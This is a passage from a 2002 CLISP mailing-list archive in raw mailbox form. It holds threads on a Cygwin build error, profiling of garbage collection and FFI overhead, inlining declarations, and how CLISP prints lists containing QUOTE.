In-Reply-To: <9160B867AADDD311AE7900C04F0649BB267258@IS~MAIL> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 06:28:12 2002 X-Original-Date: 17 Sep 2002 09:27:16 -0400 > * In message <9160B867AADDD311AE7900C04F0649BB267258@IS~MAIL> > * On the subject of "[clisp-list] CLISP 2.30 compilation under cygwin errors." > * Sent on Mon, 16 Sep 2002 11:21:54 -0400 > * Honorable Eric Moncrieff writes: > > I'm trying to compile CLISP 2.30 under WinNT4.0 with cygwin, > and encountering the following error: > > bash-2.05b$ mkdir build > bash-2.05b$ ./configure build > mkdir: cannot create directory $ rm -rf build $ ./configure build -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux I'm out of my mind, but feel free to leave a message... From EricM@dimaxcontrols.com Tue Sep 17 06:34:30 2002 Received: from [209.167.94.98] (helo=mail.dimaxcontrols.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rIUn-0005zu-00 for ; Tue, 17 Sep 2002 06:34:30 -0700 Received: by IS~MAIL with Internet Mail Service (5.5.2653.19) id ; Tue, 17 Sep 2002 09:36:02 -0400 Message-ID: <9160B867AADDD311AE7900C04F0649BB26725E@IS~MAIL> From: Eric Moncrieff To: "'sds@gnu.org'" Cc: "'clisp-list@lists.sf.net'" Subject: RE: [clisp-list] CLISP 2.30 compilation under cygwin errors. MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 06:35:01 2002 X-Original-Date: Tue, 17 Sep 2002 09:35:54 -0400 Same result: bash-2.05b$ rm -rf build bash-2.05b$ ./configure build mkdir: cannot create directory `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND :': No such file or directory bash-2.05b$ So maybe I trashed the source tree, I thought. So I bash-2.05b$ cd .. bash-2.05b$ rm -rf clisp-2.30 bash-2.05b$ bzip2 -dc clisp-2.30.tar.bz2 | tar xvf - bash-2.05b$ cd clisp-2.30 bash-2.05b$ ./configure build mkdir: cannot create directory `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND :': No such file or directory Same result... Eric -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Tuesday, September 17, 2002 9:27 AM To: Eric Moncrieff Cc: 'clisp-list@lists.sf.net' Subject: Re: [clisp-list] CLISP 2.30 compilation under cygwin errors. > * In message <9160B867AADDD311AE7900C04F0649BB267258@IS~MAIL> > * On the subject of "[clisp-list] CLISP 2.30 compilation under cygwin errors." > * Sent on Mon, 16 Sep 2002 11:21:54 -0400 > * Honorable Eric Moncrieff writes: > > I'm trying to compile CLISP 2.30 under WinNT4.0 with cygwin, > and encountering the following error: > > bash-2.05b$ mkdir build > bash-2.05b$ ./configure build > mkdir: cannot create directory $ rm -rf build $ ./configure build -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux I'm out of my mind, but feel free to leave a message... From sds@gnu.org Tue Sep 17 06:36:18 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rIWX-0006Af-00 for ; Tue, 17 Sep 2002 06:36:17 -0700 Received: (cpmta 18952 invoked from network); 17 Sep 2002 06:36:15 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 17 Sep 2002 06:36:15 -0700 X-Sent: 17 Sep 2002 13:36:15 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8HDZV404130; Tue, 17 Sep 2002 09:35:31 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lots o' garbage ... References: <200209162016.g8GKGeUQ010358@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200209162016.g8GKGeUQ010358@van-halen.alma.com> Message-ID: Lines: 54 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 06:37:03 2002 X-Original-Date: 17 Sep 2002 09:35:31 -0400 > * In message <200209162016.g8GKGeUQ010358@van-halen.alma.com> > * On the subject of "[clisp-list] Lots o' garbage ..." > * Sent on Mon, 16 Sep 2002 16:16:40 -0400 > * Honorable "John K. Hinsdale" writes: > > I think it is that my library is doing lots of consing and generating > a LOT of garbage for Lisp's GC to deal with (more on this below) So > I'm wondering: what's a good way to find the places in my code where > I'm consing and generating garbage? Is there a "consing profiler" > type tool to do that? I just read the chapter entitled "Speed" in > Graham's book "ANSI Common Lisp" and it says what functions to avoid > calling a lot, but I would rather be able to focus in on the hot spots > instead of having to laboriously rework all my newly debugged code ;) CLOCC/src/tools/metering.lisp and CLISP built-in SPACE macro (see ) > % cumulative self self total > time seconds seconds calls s/call s/call name > 29.45 28.07 28.07 1498 0.02 0.04 gar_col_normal > 22.95 49.95 21.88 4556398 0.00 0.00 gc_mark > 12.16 61.54 11.59 139359175 0.00 0.00 objsize > 6.62 67.85 6.31 11624570 0.00 0.00 interpret_bytecode_ > 1.54 69.32 1.47 2372121 0.00 0.00 allocate_iarray > 1.41 70.66 1.34 25267275 0.00 0.00 funcall > 1.31 71.91 1.25 10240813 0.00 0.00 funcall_closure > 0.87 72.74 0.83 355825 0.00 0.00 convert_from_foreign > 0.86 73.56 0.82 15026462 0.00 0.00 funcall_subr > > Adding the first three lines, it appears to be spending over 60% of > its time doing GC. this is ugly. usually the biggest hog is interpret_bytecode_(). > Also notice the 25 million calls to "funcall" -- I tried to elminate > that by proclaiming ALL my Oracle package functions as "inline" as > well as "(declare (optimize (speed 3)))" etc. I also built CLISP with > C compilation flags for maximum optimization (-O4) CLISP does respect INLINE declarations when you compile a file. CLISP ignores OPTIMIZE. Alas, CLISP FFI is not too efficient. Joerg-Cyril posted several interesting rants on the matter, but is yet to fix this. Prod him! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Your mousepad is incompatible with MS Windows - your HD will be reformatted. From sds@gnu.org Tue Sep 17 06:46:04 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rIg0-0000vV-00 for ; Tue, 17 Sep 2002 06:46:04 -0700 Received: (cpmta 24524 invoked from network); 17 Sep 2002 06:46:02 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 17 Sep 2002 06:46:02 -0700 X-Sent: 17 Sep 2002 13:46:02 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8HDjVF04137; Tue, 17 Sep 2002 09:45:31 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CONSing by structure access functions References: <200209170113.g8H1DG0b005233@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200209170113.g8H1DG0b005233@van-halen.alma.com> Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 06:47:03 2002 X-Original-Date: 17 Sep 2002 09:45:31 -0400 > * In message <200209170113.g8H1DG0b005233@van-halen.alma.com> > * On the subject of "[clisp-list] CONSing by structure access functions" > * Sent on Mon, 16 Sep 2002 21:13:16 -0400 > * Honorable "John K. Hinsdale" writes: > > Real time: 0.340808 sec. > Run time: 0.34 sec. > Space: 496344 Bytes > GC: 1, GC time: 0.01 sec. > > Cons > % % Per Total Total > Function Time Cons Calls Sec/Call Call Time Cons > ----------------------------------------------------------------------------- > MAKE-STUFF: 48.78 49.20 1 0.159994 236144 0.160 236144 > GRIND: 39.63 41.63 1 0.129994 199800 0.130 199800 > FOO-MEM1: 10.37 1.67 999 0.000034 8 0.034 7992 > MAKE-FOO: 1.22 7.50 1000 0.000004 36 0.004 36000 > ----------------------------------------------------------------------------- > TOTAL: 100.00 100.00 2001 0.328 479936 > Estimated monitoring overhead: 0.01 seconds > Estimated total monitoring overhead: 0.01 seconds 1. you did not compile your code, right? I did and I got this: [4]> (space (progn (make-stuff) (grind))) Permanent Temporary Class instances bytes instances bytes ----- --------- --------- --------- --------- FOO 1000 20000 0 0 SIMPLE-VECTOR 1 4008 0 0 ----- --------- --------- --------- --------- Total 1001 24008 0 0 Real time: 0.00291 sec. Run time: 0.0 sec. Space: 24008 Bytes 2. You should always take the output of metering.lisp with a grain of salt. It is cross-platform and quite old, so it can have unpredictable side effects and overhead. I did some work this spring (so that 2.30 has it) on CLISP and CLOCC/src/tools/metering.lisp to reduce the overhead, but there still may be some. That said, metering is a great package and I have used it to great benefit myself. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Booze is the answer. I can't remember the question. From hin@van-halen.alma.com Tue Sep 17 06:50:09 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rIjv-0001He-00 for ; Tue, 17 Sep 2002 06:50:07 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g8HDo3kB008079; Tue, 17 Sep 2002 09:50:03 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g8HDo3D3008076; Tue, 17 Sep 2002 09:50:03 -0400 Message-Id: <200209171350.g8HDo3D3008076@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 17 Sep 2002 09:35:31 -0400) Subject: Re: [clisp-list] Lots o' garbage ... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 06:51:01 2002 X-Original-Date: Tue, 17 Sep 2002 09:50:03 -0400 > CLOCC/src/tools/metering.lisp Got that; it's been very useful. > and CLISP built-in SPACE macro Thanks I'll play with it if it comes to that >> 29.45 28.07 28.07 1498 0.02 0.04 gar_col_normal >> 22.95 49.95 21.88 4556398 0.00 0.00 gc_mark >> 12.16 61.54 11.59 139359175 0.00 0.00 objsize > this is ugly. usually the biggest hog is interpret_bytecode_(). It would appear at first, but after more thought I'm not surprised or worried. What I was running was an empty loop that did nothing but retrieve results from the database and throw them away. OF COURSE it is going to have lots of overhead, consing and throwing away. It is only doing the relatively useless work of moving data around. The real application is actually be doing some computation (making a report, doing a calcuation on the data) and then the proportion of time in interpret_bytecode will probably be reasonable. For this case what I WANTED was to perversely exercise the library overhead so I could try to eliminate it, and that has worked. So things are not so bad as I made them appear: it is as much the nature of the benchmark, which elicits an unrealistic amount of overhead. If I profile a real app had this much GC so, then yes that would be ugly. What is the accepted amount of GC people are happy with anyway? > CLISP does respect INLINE declarations when you compile a file. Then I am missing something. When I include my .lisp file as part of an external module, is it not compiled when it is built? I saw no difference in funcall overhead, nor did the metering.lisp output appear to reflect inlining has having been done. The way I did inlining was to put (procalim '(inline foo bar bar ...)) at the top of my package, listing every single function name defined in the package. How would I look at the compiler output to see if inlining was done? Maybe I will run a small experiment outside my large file. > CLISP ignores OPTIMIZE. > Alas, CLISP FFI is not too efficient. > > Joerg-Cyril posted several interesting rants on the matter, but is yet > to fix this. Prod him! It's not such a big problem for me, as after a few more tweaks today, I expect the FFI/interfgace overhead to be trimmed down to a point where it is a pretty small percentage of the overall work being done relative to the application. Thank you all for your help. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@gnu.org Tue Sep 17 07:56:04 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rJlk-00068c-00 for ; Tue, 17 Sep 2002 07:56:04 -0700 Received: (cpmta 27791 invoked from network); 17 Sep 2002 07:56:01 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 17 Sep 2002 07:56:01 -0700 X-Sent: 17 Sep 2002 14:56:01 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8HEtMY08173; Tue, 17 Sep 2002 10:55:22 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Lots o' garbage ... References: <200209171350.g8HDo3D3008076@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200209171350.g8HDo3D3008076@van-halen.alma.com> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 07:57:01 2002 X-Original-Date: 17 Sep 2002 10:55:22 -0400 > * In message <200209171350.g8HDo3D3008076@van-halen.alma.com> > * On the subject of "Re: [clisp-list] Lots o' garbage ..." > * Sent on Tue, 17 Sep 2002 09:50:03 -0400 > * Honorable "John K. Hinsdale" writes: > > > CLISP does respect INLINE declarations when you compile a file. > > Then I am missing something. When I include my .lisp file as part of > an external module, is it not compiled when it is built? I saw no > difference in funcall overhead, nor did the metering.lisp output > appear to reflect inlining has having been done. The way I did > inlining was to put > > (procalim '(inline foo bar bar ...)) > > at the top of my package, listing every single function name defined > in the package. How would I look at the compiler output to see if > inlining was done? Maybe I will run a small experiment outside my > large file. try DISASSEMBLE on a function that calls FOO. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux There's always free cheese in a mouse trap. From empb@bese.it Tue Sep 17 08:41:52 2002 Received: from mail-5.tiscali.it ([195.130.225.151] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rKU2-0002X0-00 for ; Tue, 17 Sep 2002 08:41:50 -0700 Received: from localhost (62.10.101.161) by mail.tiscali.it (6.5.026) id 3D6DC74C00905C55; Tue, 17 Sep 2002 17:41:38 +0200 To: Eric Moncrieff Cc: "'sds@gnu.org'" , "'clisp-list@lists.sf.net'" Subject: Re: [clisp-list] CLISP 2.30 compilation under cygwin errors. References: <9160B867AADDD311AE7900C04F0649BB26725E@IS~MAIL> From: Marco Baringer In-Reply-To: <9160B867AADDD311AE7900C04F0649BB26725E@IS~MAIL> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 08:42:06 2002 X-Original-Date: 17 Sep 2002 17:42:37 +0200 Eric Moncrieff writes: > bash-2.05b$ cd .. > bash-2.05b$ rm -rf clisp-2.30 > bash-2.05b$ bzip2 -dc clisp-2.30.tar.bz2 | tar xvf - > bash-2.05b$ cd clisp-2.30 > bash-2.05b$ ./configure build > mkdir: cannot create directory > `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND > :': No such file or directory > > Same result... > > Eric is CLISP trying to mkdir build/bindingsFIND without having mkdir'd build? try changing line 278 of configure from maybe_mkdir() { test -d "$1" || mkdir "$1"; } to makybe_mkdir() { test -d "$1" || mkdir -p "$1"; } and see what happens. -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From EricM@dimaxcontrols.com Tue Sep 17 08:50:24 2002 Received: from [209.167.94.98] (helo=mail.dimaxcontrols.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rKcK-0005an-00 for ; Tue, 17 Sep 2002 08:50:24 -0700 Received: by IS~MAIL with Internet Mail Service (5.5.2653.19) id ; Tue, 17 Sep 2002 11:51:56 -0400 Message-ID: <9160B867AADDD311AE7900C04F0649BB267261@IS~MAIL> From: Eric Moncrieff To: 'Marco Baringer' Cc: "'clisp-list@lists.sf.net'" Subject: RE: [clisp-list] CLISP 2.30 compilation under cygwin errors. MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 08:51:02 2002 X-Original-Date: Tue, 17 Sep 2002 11:51:54 -0400 Same result. I think there's something funny in the way Cygwin handles the 'src/lndir' script; as I mentioned in my first posting, that's what actually generates the error. I'm not sure where to proceed on 'debugging' the lndir script, if indeed it's a bug in that and not Cygwin (or my thinking). I'm not sure where lndir sucks in config information, because $ grep FIND src/* returns the empty set. Yet, $ src/lndir modules/bindings \ /cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindings generates the same error as the ./configure script, complete with the string FIND called. However, when I call the above prefixed by $ bash -x COMMAND and observe what the shell thinks it's doing, it seems sane. Hm. I don't know. Eric -----Original Message----- From: Marco Baringer [mailto:empb@bese.it] Sent: Tuesday, September 17, 2002 11:43 AM To: Eric Moncrieff Cc: 'sds@gnu.org'; 'clisp-list@lists.sf.net' Subject: Re: [clisp-list] CLISP 2.30 compilation under cygwin errors. Eric Moncrieff writes: > bash-2.05b$ cd .. > bash-2.05b$ rm -rf clisp-2.30 > bash-2.05b$ bzip2 -dc clisp-2.30.tar.bz2 | tar xvf - > bash-2.05b$ cd clisp-2.30 > bash-2.05b$ ./configure build > mkdir: cannot create directory > `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND > :': No such file or directory > > Same result... > > Eric is CLISP trying to mkdir build/bindingsFIND without having mkdir'd build? try changing line 278 of configure from maybe_mkdir() { test -d "$1" || mkdir "$1"; } to makybe_mkdir() { test -d "$1" || mkdir -p "$1"; } and see what happens. -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From wgf1pal@rtc.bosch.com Tue Sep 17 08:52:24 2002 Received: from gwa6.fe.bosch.de ([194.39.218.253]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rKeE-0006HM-00 for ; Tue, 17 Sep 2002 08:52:22 -0700 Received: (from uucp@localhost) by gwa6.fe.bosch.de (8.10.2/8.10.2) id g8HFq9u15111 for ; Tue, 17 Sep 2002 17:52:09 +0200 (MET DST) X-Authentication-Warning: gwa6.fe.bosch.de: uucp set sender to using -f Received: from fez8019.fe.internet.bosch.com(virus-out.fe.internet.bosch.de 10.4.4.19) by gwa6.fe.bosch.de via smap (V2.1) id xma015028; Tue, 17 Sep 02 17:51:46 +0200 Received: from 10.25.58.5 by fez8019.fe.internet.bosch.com (InterScan E-Mail VirusWall NT); Tue, 17 Sep 2002 17:25:15 +0200 Received: from rtc.bosch.com (palpc50 [10.25.58.70]) by palsrv5-10.pal.us.bosch.com (8.9.3+Sun/8.9.3) with ESMTP id IAA11774 for ; Tue, 17 Sep 2002 08:53:21 -0700 (PDT) Message-ID: <3D873276.3090700@rtc.bosch.com> From: "Fuliang Weng (RTC)" User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 X-Accept-Language: en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 08:53:01 2002 X-Original-Date: Tue, 17 Sep 2002 08:47:34 -0500 Dear Mr. Bruno Haible and others, I am using CLISP for some applications. I noticed that there is a problem with the interpretation of "quote" and "function". Based on the definition in Steele et al 's book "Common Lisp: the Language" 1st and 2nd eds, when you perform: (setq x '(a quote c)) it is normally interpreted as: (a quote c) However, if you try this in CLISP, you will get: (A . 'C) The same thing happens to "function" when you input: (setq x '(a function c)) You will get the following in CLISP: (A . #'C) intead of the normal interpretation: (A FUNCTION C) I am wondering whether this is what you intended. If not, what could an easy fix? Thanks. --Fuliang From rrschulz@cris.com Tue Sep 17 09:02:41 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rKo9-0008BU-00 for ; Tue, 17 Sep 2002 09:02:37 -0700 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g8HG2Uc07879 for ; Tue, 17 Sep 2002 12:02:30 -0400 (EDT) Received: from Clemens.cris.com (da003d0405.sjc-ca.osd.concentric.net [64.1.1.150]) by marconi.concentric.net (8.9.1a) id MAA07235; Tue, 17 Sep 2002 12:02:29 -0400 (EDT) Message-Id: <5.1.0.14.2.20020917085635.01fbe6f0@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: RE: [clisp-list] CLISP 2.30 compilation under cygwin errors. In-Reply-To: <9160B867AADDD311AE7900C04F0649BB267261@IS~MAIL> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 09:03:05 2002 X-Original-Date: Tue, 17 Sep 2002 09:02:37 -0700 Hi, If you have XFree86/Cygwin installed, you have a binary called "lndir" in /usr/X11R6/bin ("/usr/X11R6/bin/lndir.exe" to be precise). Depending on your PATH setting, you might be invoking that instead of any lndir script that's part of the CLISP build system. Also, if line endings are an issue, there's also the text vs. binary mount business in Cygwin (not to mention the "binmode" option in the CYGWIN environment variable). If you're using Cygwin to build software, you need to understand how Cygwin handles the variant text file encodings of Windows and Unix. Randall Schulz Mountain View, CA USA At 08:51 2002-09-17, Eric Moncrieff wrote: >Same result. > >I think there's something funny in the way Cygwin handles the >'src/lndir' script; as I mentioned in my first posting, that's >what actually generates the error... From hin@van-halen.alma.com Tue Sep 17 09:02:47 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rKoH-0008Ed-00 for ; Tue, 17 Sep 2002 09:02:46 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g8HG2ikB008738; Tue, 17 Sep 2002 12:02:44 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g8HG2iPF008735; Tue, 17 Sep 2002 12:02:44 -0400 Message-Id: <200209171602.g8HG2iPF008735@van-halen.alma.com> From: "John K. Hinsdale" To: wgf1pal@rtc.bosch.com CC: clisp-list@lists.sourceforge.net In-reply-to: <3D873276.3090700@rtc.bosch.com> (wgf1pal@rtc.bosch.com) Subject: Re: [clisp-list] bug report Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 09:03:06 2002 X-Original-Date: Tue, 17 Sep 2002 12:02:44 -0400 > (setq x '(a quote c)) > it is normally interpreted as: > (a quote c) > However, if you try this in CLISP, you will get: > (A . 'C) I think this is just a problem with how it is displaying the list. Internally it does look like it's being computed right. Not that this isn't confusing :) E.g.: [1]> (setq x '(a quote c)) (A . 'C) [2]> (describe x) (A . 'C) is a list of length 3. [3]> (describe (car x)) A is the symbol A, lies in #, is accessible in the package COMMON-LISP-USER. .... [4]> (describe (cadr x)) QUOTE is the symbol QUOTE, lies in #, is accessible in the packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXT, FFI, POSIX, REGEXP, SCREEN, SYSTEM, WILDCARD, names a special operator. ... [5]> (describe (caddr x)) C is the symbol C, lies in #, is accessible in the package COMMON-LISP-USER. ... From wgf1pal@rtc.bosch.com Tue Sep 17 10:19:38 2002 Received: from gwa6.fe.bosch.de ([194.39.218.253]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rM0f-0000nB-00 for ; Tue, 17 Sep 2002 10:19:37 -0700 Received: (from uucp@localhost) by gwa6.fe.bosch.de (8.10.2/8.10.2) id g8HHJTi27689 for ; Tue, 17 Sep 2002 19:19:29 +0200 (MET DST) X-Authentication-Warning: gwa6.fe.bosch.de: uucp set sender to using -f Received: from fez8020.fe.internet.bosch.com(virus-out2.fe.internet.bosch.de 10.4.4.20) by gwa6.fe.bosch.de via smap (V2.1) id xma027658; Tue, 17 Sep 02 19:18:54 +0200 Received: from 10.25.58.5 by fez8020.fe.internet.bosch.com (InterScan E-Mail VirusWall NT); Tue, 17 Sep 2002 19:10:25 +0200 Received: from rtc.bosch.com (palpc50 [10.25.58.70]) by palsrv5-10.pal.us.bosch.com (8.9.3+Sun/8.9.3) with ESMTP id KAA12644; Tue, 17 Sep 2002 10:20:28 -0700 (PDT) Message-ID: <3D8746B7.9010003@rtc.bosch.com> From: "Fuliang Weng (RTC)" User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 X-Accept-Language: en-us MIME-Version: 1.0 To: "John K. Hinsdale" CC: clisp-list@lists.sourceforge.net, Fuliang Weng Subject: Re: [clisp-list] bug report References: <200209171602.g8HG2iPF008735@van-halen.alma.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 10:20:04 2002 X-Original-Date: Tue, 17 Sep 2002 10:13:59 -0500 Ok, I am more interested in getting the normal interpretation for the tasks I am doing. For example, when a function reads in a sentence represented in a list (he said it does not function well) and then print it out, and 